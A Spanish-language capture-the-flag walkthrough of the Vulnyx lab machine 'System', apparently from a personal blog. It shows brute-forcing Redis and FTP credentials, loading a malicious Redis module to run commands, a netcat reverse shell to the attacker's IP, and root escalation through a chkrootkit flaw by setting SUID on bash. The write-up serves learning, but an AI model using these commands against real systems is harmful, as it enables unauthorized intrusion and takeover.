System - Vulnyx

System - Vulnyx

Resolución de la maquina System de Vulnyx

Hola estimado lector, ¿Le apetece un CTF?

Düşünen Batman GIF - Düşünen Batman - Discover & Share GIFs

Pero antes, gracias al creador de la maquina d4t4s3c y a la comunidad de Vulnyx por hacer esto posible.

Descripción de la maquina.

Sistema OperativoLinux 🐧
DificultadMedio
Lanzamiento06/05/2024
Creadord4t4s3c
Primer Usuariosuraxddq
Primer Rootsuraxddq

Enumeración

Hacemos un escaneo con el respectivo nmap

Bien, tanto el servicio ftp como redis, requiere de credenciales y en el servicio http no obtuvimos nada.

Authentication required - redis

Brute Force

nmap cuenta con un NSE el cual aplica fuerza bruta contra el servicio redis, así que... Vamos a lanzarlo.

nmap --script redis-brute -p6379 192.168.1.94

Excelente tenemos la contraseña "bonjour", nos conectamos y...

No tenemos nada, solo mas que información del sistema, que por ahora no nos resulta de mucha utilidad.

Ahora, que pasaría si esta contraseña de "bonjour" esta siendo utiliza en otro servicio.

Women Floral Kimono Cardigan Chiffon Casual Loose Open Front Cover Up Tops  #naildesigns #nailart #acrylicnails #toenailart #toenail… | Cat memes,  Animal memes, Cats

Vamos a realizar fuerza bruta contra el servicio ftp utilizando la contraseña "bonjour" y una lista de usuarios, con hydra.

hydra -L  /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -p bonjour ftp://192.168.1.94 -t 15 -s 2121

Ah, ahí lo tenemos, unas credenciales, entremos...

Pero, no tenemos ningún archivo, aunque...

Podemos subir archivos, pero por ahora no es de utilidad.

Load Redis Module

Después de visitar esta información:

Podemos realizar una cosa y es cargar un modulo personalizado de redis que nos permita ejecutar comando. Por lo tanto debemos hacer los siguientes pasos.

  1. Compilar modulo redis para ejecutar comandos.

  2. Cargar el modulo en la maquina victima y ser llamada desde redis con MODULE LOAD /path/to/mymodule.so

  3. Ejecutar comandos con el modulo: system.exec "id"

Así que vamos a realizarlo, descargue el modulo y compile en su maquina de atacante.

git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
cd RedisModules-ExecuteCommand
make

El resultante sera el archivo module.so, ahora falta pasarlo a la máquina victima, ¿como lo haremos? pues... Con el servicio ftp mi estimado.

Una vez transferido tendremos que descubrir la ruta absoluta de esta archivo, para ser llamada desde redis.

Bob Esponja: Un polémico personaje de la cultura pop – culturizando.com |  Alimenta tu Mente

La respuesta es el directorio /srv/ 🙂

El directorio /srv es una directorio en sistemas basados en Unix y Linux que se utiliza para almacenar datos relacionados con los servicios proporcionados por el sistema. Por ejemplo, los archivos FTP pueden ser almacenados en /srv/ftp.

Ajaaa, dicho lo anterior puede que nuestro archivo module.so se encuentre en /srv/ftp/

Así que probamos en cargar el modulo desde redis

Y en efecto, una vez cargado ya podremos ejecutar comandos 😃

¿Nos enviamos una shell, no?

system.exec "nc 192.168.1.79 8003 -e /bin/bash"

Shrek - 01 All star animated gif

Escalada de privilegios

Enumeramos los usuarios del sistema...

Explorando la posible escalada me dispuse a inspeccionar los procesos con pspy

wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy32s
chmod +x pspy32s
./pspy32s

Vemos que el usuario ejecuta constantemente el binario chkrootkit

Vamos a ver la versión del binario chkrootkit

Bueno, busquemos alguna vulnerabilidad...

Y efecto tenemos una vulnerabilidad que nos permite ejecutar comandos como root. ¿Como lo explotamos?

  1. Cree un ejecutable en bash llamada update en el directorio /tmp

  2. Coloque los comandos que desea ejecutar.

En mi caso hice que root aplique permisos SUID al binario bash, para obtener una bash como root, eso es todo.

Ahora toca esperar un poco...

Y efecto, tenemos permisos SUID en el binario bash.

Eso fue todo, hasta luego lector!!

Byebye | Memes de homero, Memes de los simpson, Gif de los simpson


Referencias

  1. System Walkthrough - Vulnyx - PL4GU3

  2. https://github.com/RoqueNight/Linux-Privilege-Escalation-Basics

  3. https://book.hacktricks.xyz/network-services-pentesting/6379-pentesting-redis

Did you find this article valuable?

Support BlackPist0l's Blog by becoming a sponsor. Any amount is appreciated!